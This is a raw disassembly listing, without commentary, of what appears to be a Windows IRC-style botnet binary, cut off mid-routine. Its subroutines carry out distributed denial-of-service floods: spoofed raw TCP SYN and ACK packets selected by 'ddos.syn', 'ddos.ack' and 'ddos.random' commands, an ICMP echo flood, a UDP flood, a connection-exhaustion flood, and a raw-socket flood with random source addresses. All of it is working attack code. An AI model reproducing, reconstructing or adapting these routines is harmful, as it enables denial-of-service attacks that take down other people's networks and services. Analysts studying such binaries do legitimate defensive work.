var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_412E3F add esp, 14h push eax lea eax, [ebp+var_494] push offset unk_4361BC push eax call sub_41B886 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_412AE6 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_409A72 add esp, 14h loc_412AE6: ; CODE XREF: sub_412A53+71j lea eax, [ebp+var_494] push eax call sub_4151AC push [ebp+var_290] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread pop edi pop esi sub_412A53 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: sub_412E3F+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB5A4 ; WSAStartup test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB6D8 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CB614 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CB634 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CB634 ; htons push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CB634 ; htons mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CB634 ; htons push 12345678h mov [ebp+var_14], ax call dword_4CB630 ; htonl push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CB634 ; htons mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call dword_427134 ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call dword_427130 ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB634 ; htons mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CB634 ; htons movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB630 ; htonl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB634 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CB698 ; sendto cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call dword_427130 ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_4361E4 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB6CC ; closesocket pop esi loc_412E33: ; CODE XREF: sub_412B08+5Bj call dword_4CB58C ; WSACleanup mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; =============== S U B R O U T I N E ======================================= sub_412E3F proc near ; CODE XREF: sub_412A53+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AAF9 push [esp+10h+arg_4] mov esi, eax call sub_41B779 push [esp+14h+arg_C] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: sub_412E3F+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_412E3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E9D proc near ; DATA XREF: sub_401ACD+6721o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_4CB6B4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_412F38 call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_4362E4 push eax call sub_41B886 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_412F1B push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409A72 add esp, 14h loc_412F1B: ; CODE XREF: sub_412E9D+5Cj lea eax, [ebp+var_3BC] push eax call sub_4151AC push [ebp+var_38] call sub_40B412 pop ecx pop ecx push edi call dword_4270CC ; ExitThread loc_412F38: ; CODE XREF: sub_412E9D+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_4CB614 ; setsockopt loc_412F4D: ; DATA XREF: .packed:off_43A844o cmp eax, 0FFFFFFFFh jnz short loc_412FAF call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_4362B4 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_412F92 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409A72 add esp, 14h loc_412F92: ; CODE XREF: sub_412E9D+D3j lea eax, [ebp+var_3BC] push eax call sub_4151AC push [ebp+var_38] call sub_40B412 pop ecx pop ecx push edi call dword_4270CC ; ExitThread loc_412FAF: ; CODE XREF: sub_412E9D+B3j lea eax, [ebp+var_1B8] push eax call dword_4CB674 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_413016 lea eax, [ebp+var_3BC] push offset unk_436294 push eax call sub_41B886 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_412FF9 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409A72 add esp, 14h loc_412FF9: ; CODE XREF: sub_412E9D+13Aj lea eax, [ebp+var_3BC] push eax call sub_4151AC push [ebp+var_38] call sub_40B412 pop ecx pop ecx push edi call dword_4270CC ; ExitThread loc_413016: ; CODE XREF: sub_412E9D+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_4CB634 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_4CB674 ; inet_addr mov esi, dword_4270A8 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax loc_413054: ; CODE XREF: sub_412E9D+2E8j call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4131FF push 41Ch mov byte_4CE3A8, 45h call dword_4CB634 ; htons cmp [ebp+var_2C], edi mov word_4CE3AA, ax mov word_4CE3AC, bx mov word_4CE3AE, di mov byte_4CE3B0, 80h mov byte_4CE3B1, bl mov word_4CE3B2, di jz short loc_4130DA call sub_41B8E2 mov ebx, eax shl ebx, 8 call sub_41B8E2 add ebx, eax shl ebx, 8 call sub_41B8E2 add ebx, eax shl ebx, 8 call sub_41B8E2 add ebx, eax push 1 mov dword_4CE3B4, ebx pop ebx jmp short loc_4130F2 ; --------------------------------------------------------------------------- loc_4130DA: ; CODE XREF: sub_412E9D+20Bj push [ebp+var_1BC] call sub_40AC0F pop ecx push eax call dword_4CB674 ; inet_addr mov dword_4CE3B4, eax loc_4130F2: ; CODE XREF: sub_412E9D+23Bj mov eax, [ebp+var_18] mov dword_4CE3B8, eax call sub_41B8E2 cdq mov ecx, 100h idiv ecx mov byte_4CE3BC, dl call sub_41B8E2 cdq mov ecx, 100h idiv ecx mov byte_4CE3BD, dl call sub_41B8E2 cdq mov ecx, 0F0h push 400h idiv ecx mov word_4CE3BE, di mov word_4CE3C2, bx inc edx mov word_4CE3C0, dx call sub_41B8E2 cdq mov ecx, 0FFh idiv ecx push edx push offset dword_4CE3C4 call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_4CE3A8 push [ebp+var_4] call dword_4CB698 ; sendto cmp eax, 0FFFFFFFFh jz short loc_41318A inc [ebp+arg_0] jmp loc_413054 ; --------------------------------------------------------------------------- loc_41318A: ; CODE XREF: sub_412E9D+2E3j push [ebp+var_4] call dword_4CB6CC ; closesocket call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_43624C lea eax, [ebp+var_3BC] push 200h push eax call sub_41B980 add esp, 18h cmp [ebp+var_24], edi jnz short loc_4131E2 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409A72 add esp, 14h loc_4131E2: ; CODE XREF: sub_412E9D+323j lea eax, [ebp+var_3BC] push eax call sub_4151AC push [ebp+var_38] call sub_40B412 pop ecx pop ecx push edi call dword_4270CC ; ExitThread loc_4131FF: ; CODE XREF: sub_412E9D+1C8j push [ebp+var_4] call dword_4CB6CC ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_436200 push eax call sub_41B886 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_413267 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409A72 add esp, 14h loc_413267: ; CODE XREF: sub_412E9D+3A8j lea eax, [ebp+var_3BC] push eax call sub_4151AC push [ebp+var_38] call sub_40B412 pop ecx pop ecx push edi call dword_4270CC ; ExitThread sub_412E9D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413284 proc near ; DATA XREF: sub_401ACD+550Fo var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_4CB5BC ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_4CB674 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_4132DF lea eax, [ebp+var_C0] push eax call dword_4CB6B8 ; gethostbyname cmp eax, ebx jz short loc_4132E5 loc_4132DF: ; CODE XREF: sub_413284+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_413342 loc_4132E5: ; CODE XREF: sub_413284+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_43633C push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_413325 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_409A72 add esp, 14h loc_413325: ; CODE XREF: sub_413284+7Fj lea eax, [ebp+var_344] push eax call sub_4151AC push [ebp+var_30] call sub_40B412 pop ecx pop ecx push edi call dword_4270CC ; ExitThread loc_413342: ; CODE XREF: sub_413284+5Fj cmp eax, ebx jz short loc_413352 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_413355 ; --------------------------------------------------------------------------- loc_413352: ; CODE XREF: sub_413284+C0j mov [ebp+var_4], esi loc_413355: ; CODE XREF: sub_413284+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_41B590 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_413375 mov [ebp+var_3C], eax loc_413375: ; CODE XREF: sub_413284+ECj cmp [ebp+var_38], edi jge short loc_41337D mov [ebp+var_38], edi loc_41337D: ; CODE XREF: sub_413284+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_4133AA loc_413384: ; CODE XREF: sub_413284+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_4CB54C ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_413384 loc_4133AA: ; CODE XREF: sub_413284+FEj push [ebp+arg_0] call dword_4CB6EC ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_436310 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_4133F3 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_409A72 add esp, 14h loc_4133F3: ; CODE XREF: sub_413284+14Dj lea eax, [ebp+var_344] push eax call sub_4151AC push [ebp+var_30] call sub_40B412 pop ecx pop ecx push ebx call dword_4270CC ; ExitThread sub_413284 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413410 proc near ; DATA XREF: sub_401ACD+575Bo var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx push 11h push 2 push 2 call dword_4CB6B4 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_4CB674 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_4134F5 lea eax, [ebp+var_B0] push eax call dword_4CB6B8 ; gethostbyname cmp eax, edi jnz short loc_4134EE lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset unk_436390 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_4134D1 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_409A72 add esp, 14h loc_4134D1: ; CODE XREF: sub_413410+9Fj lea eax, [ebp+var_334] push eax call sub_4151AC push [ebp+var_20] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread loc_4134EE: ; CODE XREF: sub_413410+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_4134F8 ; --------------------------------------------------------------------------- loc_4134F5: ; CODE XREF: sub_413410+6Ej lea eax, [ebp+arg_0] loc_4134F8: ; CODE XREF: sub_413410+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_413513 call sub_41B8E2 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_413516 ; --------------------------------------------------------------------------- loc_413513: ; CODE XREF: sub_413410+F0j push [ebp+var_24] loc_413516: ; CODE XREF: sub_413410+101j call dword_4CB634 ; htons cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_413528 mov [ebp+var_24], esi loc_413528: ; CODE XREF: sub_413410+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_413535 mov [ebp+var_24], eax loc_413535: ; CODE XREF: sub_413410+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_413549 mov [ebp+var_28], esi loc_413549: ; CODE XREF: sub_413410+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_41356A loc_413550: ; CODE XREF: sub_413410+158j call sub_41B8E2 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_413550 loc_41356A: ; CODE XREF: sub_413410+13Ej ; sub_413410+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_4135C9 push 0Bh pop esi loc_413577: ; CODE XREF: sub_413410+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_4CB698 ; sendto push [ebp+var_28] call dword_427078 ; Sleep dec esi jnz short loc_413577 cmp [ebp+var_24], edi jnz short loc_41356A call sub_41B8E2 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_4CB634 ; htons mov [ebp+var_E], ax jmp short loc_41356A ; --------------------------------------------------------------------------- loc_4135C9: ; CODE XREF: sub_413410+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset unk_436364 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_413609 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_409A72 add esp, 14h loc_413609: ; CODE XREF: sub_413410+1D7j lea eax, [ebp+var_334] push eax call sub_4151AC push [ebp+var_20] call sub_40B412 pop ecx pop ecx push edi call dword_4270CC ; ExitThread sub_413410 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413626 proc near ; DATA XREF: sub_401ACD+4DECo var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_413787 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset dword_4363B8 push eax call sub_41B886 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4136A6 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409A72 add esp, 14h loc_4136A6: ; CODE XREF: sub_413626+5Ej lea eax, [ebp+var_414] push eax call sub_4151AC push [ebp+var_10] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread pop edi pop esi sub_413626 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: sub_413787+27p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CB634 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 call dword_427220 ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call dword_4271F8 ; ioctlsocket loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call dword_427214 ; connect add esi, 4 dec ebx jnz short loc_413749 push 64h call dword_427078 ; Sleep lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] call dword_42721C ; closesocket add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; =============== S U B R O U T I N E ======================================= sub_413787 proc near ; CODE XREF: sub_413626+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AAF9 push [esp+10h+arg_4] mov edi, eax call sub_41B779 push [esp+14h+arg_8] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: sub_413787+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_413787 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4137CC proc near ; DATA XREF: sub_401ACD+6449o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_413B1D add esp, 0Ch push eax lea eax, [ebp+var_414] push offset unk_4363E4 push eax call sub_41B886 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_41384C push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409A72 add esp, 14h loc_41384C: ; CODE XREF: sub_4137CC+5Ej lea eax, [ebp+var_414] push eax call sub_4151AC push [ebp+var_10] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread pop edi pop esi sub_4137CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: sub_413B1D+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word 